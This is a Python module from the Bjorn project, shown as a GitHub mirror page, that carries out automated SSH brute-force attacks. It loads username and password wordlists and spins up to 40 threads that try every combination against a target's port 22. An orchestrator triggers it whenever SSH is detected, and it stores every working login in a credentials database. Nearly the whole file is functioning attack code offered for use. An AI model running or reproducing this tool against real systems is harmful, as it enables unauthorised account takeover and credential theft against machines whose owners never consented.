mirror of
https://github.com/infinition/Bjorn.git
synced 2025-12-12 23:54:59 +00:00
316 lines
12 KiB
Python
316 lines
12 KiB
Python
"""
|
|
ssh_bruteforce.py - This script performs a brute force attack on SSH services (port 22)
|
|
to find accessible accounts using various user credentials. It logs the results of
|
|
successful connections.
|
|
|
|
SQL version (minimal changes):
|
|
- Targets still provided by the orchestrator (ip + port)
|
|
- IP -> (MAC, hostname) mapping read from DB 'hosts'
|
|
- Successes saved into DB.creds (service='ssh') with robust fallback upsert
|
|
- Action status recorded in DB.action_results (via SSHBruteforce.execute)
|
|
- Paramiko noise silenced; ssh.connect avoids agent/keys to reduce hangs
|
|
"""
|
|
|
|
import os
|
|
import paramiko
|
|
import socket
|
|
import threading
|
|
import logging
|
|
import time
|
|
from datetime import datetime
|
|
from queue import Queue
|
|
from shared import SharedData
|
|
from logger import Logger
|
|
|
|
# Configure the logger
|
|
logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG)
|
|
|
|
# Silence Paramiko internals
|
|
for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hostkeys",
|
|
"paramiko.kex", "paramiko.auth_handler"):
|
|
logging.getLogger(_name).setLevel(logging.CRITICAL)
|
|
|
|
# Define the necessary global variables
|
|
b_class = "SSHBruteforce"
|
|
b_module = "ssh_bruteforce"
|
|
b_status = "brute_force_ssh"
|
|
b_port = 22
|
|
b_service = '["ssh"]'
|
|
b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]'
|
|
b_parent = None
|
|
b_priority = 70
|
|
b_cooldown = 1800 # 30 minutes entre deux runs
|
|
b_rate_limit = '3/86400' # 3 fois par jour max
|
|
|
|
|
|
class SSHBruteforce:
|
|
"""Wrapper called by the orchestrator."""
|
|
|
|
def __init__(self, shared_data):
|
|
self.shared_data = shared_data
|
|
self.ssh_bruteforce = SSHConnector(shared_data)
|
|
logger.info("SSHConnector initialized.")
|
|
|
|
def bruteforce_ssh(self, ip, port):
|
|
"""Run the SSH brute force attack on the given IP and port."""
|
|
logger.info(f"Running bruteforce_ssh on {ip}:{port}...")
|
|
return self.ssh_bruteforce.run_bruteforce(ip, port)
|
|
|
|
def execute(self, ip, port, row, status_key):
|
|
"""Execute the brute force attack and update status (for UI badge)."""
|
|
logger.info(f"Executing SSHBruteforce on {ip}:{port}...")
|
|
self.shared_data.bjorn_orch_status = "SSHBruteforce"
|
|
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": port}
|
|
|
|
success, results = self.bruteforce_ssh(ip, port)
|
|
return 'success' if success else 'failed'
|
|
|
|
|
|
class SSHConnector:
|
|
"""Handles the connection attempts and DB persistence."""
|
|
|
|
def __init__(self, shared_data):
|
|
self.shared_data = shared_data
|
|
|
|
# Load wordlists (unchanged behavior)
|
|
self.users = self._read_lines(shared_data.users_file)
|
|
self.passwords = self._read_lines(shared_data.passwords_file)
|
|
|
|
# Build initial IP -> (MAC, hostname) cache from DB
|
|
self._ip_to_identity = {}
|
|
self._refresh_ip_identity_cache()
|
|
|
|
self.lock = threading.Lock()
|
|
self.results = [] # List of tuples (mac, ip, hostname, user, password, port)
|
|
self.queue = Queue()
|
|
|
|
# ---- Mapping helpers (DB) ------------------------------------------------
|
|
|
|
def _refresh_ip_identity_cache(self):
|
|
"""Load IPs from DB and map them to (mac, current_hostname)."""
|
|
self._ip_to_identity.clear()
|
|
try:
|
|
rows = self.shared_data.db.get_all_hosts()
|
|
except Exception as e:
|
|
logger.error(f"DB get_all_hosts failed: {e}")
|
|
rows = []
|
|
|
|
for r in rows:
|
|
mac = r.get("mac_address") or ""
|
|
if not mac:
|
|
continue
|
|
hostnames_txt = r.get("hostnames") or ""
|
|
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
|
ips_txt = r.get("ips") or ""
|
|
if not ips_txt:
|
|
continue
|
|
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
|
self._ip_to_identity[ip] = (mac, current_hn)
|
|
|
|
def mac_for_ip(self, ip: str):
|
|
if ip not in self._ip_to_identity:
|
|
self._refresh_ip_identity_cache()
|
|
return self._ip_to_identity.get(ip, (None, None))[0]
|
|
|
|
def hostname_for_ip(self, ip: str):
|
|
if ip not in self._ip_to_identity:
|
|
self._refresh_ip_identity_cache()
|
|
return self._ip_to_identity.get(ip, (None, None))[1]
|
|
|
|
# ---- File utils ----------------------------------------------------------
|
|
|
|
@staticmethod
|
|
def _read_lines(path: str):
|
|
try:
|
|
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
|
return [l.rstrip("\n\r") for l in f if l.strip()]
|
|
except Exception as e:
|
|
logger.error(f"Cannot read file {path}: {e}")
|
|
return []
|
|
|
|
# ---- SSH core ------------------------------------------------------------
|
|
|
|
def ssh_connect(self, adresse_ip, user, password, port=b_port, timeout=10):
|
|
"""Attempt to connect to SSH using (user, password)."""
|
|
ssh = paramiko.SSHClient()
|
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
|
|
try:
|
|
ssh.connect(
|
|
hostname=adresse_ip,
|
|
username=user,
|
|
password=password,
|
|
port=port,
|
|
timeout=timeout,
|
|
auth_timeout=timeout,
|
|
banner_timeout=timeout,
|
|
look_for_keys=False, # avoid slow key probing
|
|
allow_agent=False, # avoid SSH agent delays
|
|
)
|
|
return True
|
|
except (paramiko.AuthenticationException, socket.timeout, socket.error, paramiko.SSHException):
|
|
return False
|
|
except Exception as e:
|
|
logger.debug(f"SSH connect unexpected error {adresse_ip} {user}: {e}")
|
|
return False
|
|
finally:
|
|
try:
|
|
ssh.close()
|
|
except Exception:
|
|
pass
|
|
|
|
# ---- Robust DB upsert fallback ------------------------------------------
|
|
|
|
def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
|
|
"""
|
|
Insert-or-update without relying on ON CONFLICT columns.
|
|
Works even if your UNIQUE index uses expressions (e.g., COALESCE()).
|
|
"""
|
|
mac_k = mac or ""
|
|
ip_k = ip or ""
|
|
user_k = user or ""
|
|
db_k = database or ""
|
|
port_k = int(port or 0)
|
|
|
|
try:
|
|
with self.shared_data.db.transaction(immediate=True):
|
|
# 1) Insert if missing
|
|
self.shared_data.db.execute(
|
|
"""
|
|
INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
|
|
VALUES('ssh',?,?,?,?,?,?,?,NULL)
|
|
""",
|
|
(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
|
|
)
|
|
# 2) Update password/hostname if present (or just inserted)
|
|
self.shared_data.db.execute(
|
|
"""
|
|
UPDATE creds
|
|
SET "password"=?,
|
|
hostname=COALESCE(?, hostname),
|
|
last_seen=CURRENT_TIMESTAMP
|
|
WHERE service='ssh'
|
|
AND COALESCE(mac_address,'')=?
|
|
AND COALESCE(ip,'')=?
|
|
AND COALESCE("user",'')=?
|
|
AND COALESCE(COALESCE("database",""),'')=?
|
|
AND COALESCE(port,0)=?
|
|
""",
|
|
(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
|
|
)
|
|
except Exception as e:
|
|
logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
|
|
|
|
# ---- Worker / Queue / Threads -------------------------------------------
|
|
|
|
def worker(self, success_flag):
|
|
"""Worker thread to process items in the queue (bruteforce attempts)."""
|
|
while not self.queue.empty():
|
|
if self.shared_data.orchestrator_should_exit:
|
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
|
break
|
|
|
|
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
|
try:
|
|
if self.ssh_connect(adresse_ip, user, password, port=port):
|
|
with self.lock:
|
|
# Persist success into DB.creds
|
|
try:
|
|
self.shared_data.db.insert_cred(
|
|
service="ssh",
|
|
mac=mac_address,
|
|
ip=adresse_ip,
|
|
hostname=hostname,
|
|
user=user,
|
|
password=password,
|
|
port=port,
|
|
database=None,
|
|
extra=None
|
|
)
|
|
except Exception as e:
|
|
# Specific fix: fallback manual upsert
|
|
if "ON CONFLICT clause does not match" in str(e):
|
|
self._fallback_upsert_cred(
|
|
mac=mac_address,
|
|
ip=adresse_ip,
|
|
hostname=hostname,
|
|
user=user,
|
|
password=password,
|
|
port=port,
|
|
database=None
|
|
)
|
|
else:
|
|
logger.error(f"insert_cred failed for {adresse_ip} {user}: {e}")
|
|
|
|
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
|
logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}")
|
|
success_flag[0] = True
|
|
|
|
finally:
|
|
self.queue.task_done()
|
|
|
|
# Optional delay between attempts
|
|
if getattr(self.shared_data, "timewait_ssh", 0) > 0:
|
|
time.sleep(self.shared_data.timewait_ssh)
|
|
|
|
|
|
|
|
def run_bruteforce(self, adresse_ip, port):
|
|
"""
|
|
Called by the orchestrator with a single IP + port.
|
|
Builds the queue (users x passwords) and launches threads.
|
|
"""
|
|
mac_address = self.mac_for_ip(adresse_ip)
|
|
hostname = self.hostname_for_ip(adresse_ip) or ""
|
|
|
|
total_tasks = len(self.users) * len(self.passwords)
|
|
if total_tasks == 0:
|
|
logger.warning("No users/passwords loaded. Abort.")
|
|
return False, []
|
|
|
|
for user in self.users:
|
|
for password in self.passwords:
|
|
if self.shared_data.orchestrator_should_exit:
|
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
|
return False, []
|
|
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
|
|
|
success_flag = [False]
|
|
threads = []
|
|
thread_count = min(40, max(1, total_tasks))
|
|
|
|
for _ in range(thread_count):
|
|
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
|
t.start()
|
|
threads.append(t)
|
|
|
|
while not self.queue.empty():
|
|
if self.shared_data.orchestrator_should_exit:
|
|
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
|
# clear queue
|
|
while not self.queue.empty():
|
|
try:
|
|
self.queue.get_nowait()
|
|
self.queue.task_done()
|
|
except Exception:
|
|
break
|
|
break
|
|
|
|
self.queue.join()
|
|
|
|
for t in threads:
|
|
t.join()
|
|
|
|
return success_flag[0], self.results # Return True and the list of successes if any
|
|
|
|
|
|
if __name__ == "__main__":
|
|
shared_data = SharedData()
|
|
try:
|
|
ssh_bruteforce = SSHBruteforce(shared_data)
|
|
logger.info("SSH brute force module ready.")
|
|
exit(0)
|
|
except Exception as e:
|
|
logger.error(f"Error: {e}")
|
|
exit(1)
|